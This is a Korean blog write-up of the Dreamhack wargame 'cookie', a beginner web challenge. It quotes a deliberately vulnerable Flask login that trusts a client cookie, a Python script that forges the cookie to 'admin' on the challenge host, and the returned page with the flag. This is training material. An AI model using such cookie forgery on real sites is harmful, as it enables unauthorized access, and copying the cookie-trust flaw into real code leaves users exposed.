xmi1e-vir.log

[Dreamhack] wargame 'cookie' write-up 본문

WARGAME/WEB

[Dreamhack] wargame 'cookie' write-up

eunee22 2025. 9. 7. 02:24
🌱 Biginner
문제링크
쿠키로 인증 상태를 관리하는 간단한 로그인 서비스입니다.
admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다.

📌문제 파악

해당 웹사이트에 공식적으로 등록된 user는 guest와 admin이다.

users = {
    'guest': 'guest',
    'admin': FLAG
}

아래 코드를 확인해보면 admin으로 로그인하면 flag를 확인할 수 있다는 것을 알 수 있다.

@app.route('/')
def index():
    username = request.cookies.get('username', None)
    if username:
        return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
    return render_template('index.html')

로그인 로직을 확인해보면
pw username에 알맞는 비밀번호가 저장되고
pw == password을 통해 일치하는지 검증후,
일치하면 쿠키를 해당하는 username으로 설정한다.

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        # 여기 부분이 중요 → PW가 일치하는지 확인
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            # 일치하면 쿠키를 username으로 설정
            resp.set_cookie('username', username)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

📌풀이 방법

앞서 주어진 guest 계정으로 로그인에 성공하고 나면, 쿠키값은 'guest'로 바뀔것이다.
이때 쿠키값을 'admin'으로 바꾸어주면 웹사이트는 admin으로 로그인을 한것처럼 작동한다.

나는 코드를 작성하여 풀었지만, 굳이 이렇게 할 필요는 없고 웹사이트에서 guest로 로그인한뒤 개발자모드를 열어 쿠키값을 바꾸어주면 된다.

import requests

# 세션 생성
sess = requests.Session()

# 로그인 요청
login_data = {
    "username": "guest",
    "password": "guest"
}
sess.post("http://host8.dreamhack.games:20079/login", data=login_data)

# 쿠키 설정
sess.cookies.set("username", "admin", domain="host8.dreamhack.games", path="/")

# 플래그 요청
resp = sess.get("http://host8.dreamhack.games:20079/")
print(resp.text)

이 코드를 실행한 결과 admin으로 로그인했을때의 html 코드를 얻을 수 있었다.

<!doctype html>
<html>
  <head>
    <link rel="stylesheet" href="/static/css/bootstrap.min.css">
    <link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">
    <link rel="stylesheet" href="/static/css/non-responsive.css">
    <title>Index Cookie</title>
    
  
  <style type="text/css">
    .important { color: #336699; }
  </style>

  </head>
<body>

    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Cookie</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="#">About</a></li>
          </ul>

          <ul class="nav navbar-nav navbar-right">
            <li><a href="/login">Login</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav>
    <!-- 
      # default account: guest/guest
    -->
    <div class="container">
      
  <p class="important">
        Welcome !
  </p>
  
  <h3>
        Hello admin, flag is DH{7952074b69ee388ab45432737f9b0c56}
  </h3>
  

    </div> <!-- /container -->

    <!-- Bootstrap core JavaScript -->
    <script src="/static/js/jquery.min.js"></script>
    <script src="/static/js/bootstrap.min.js"></script> 
</body>
</html>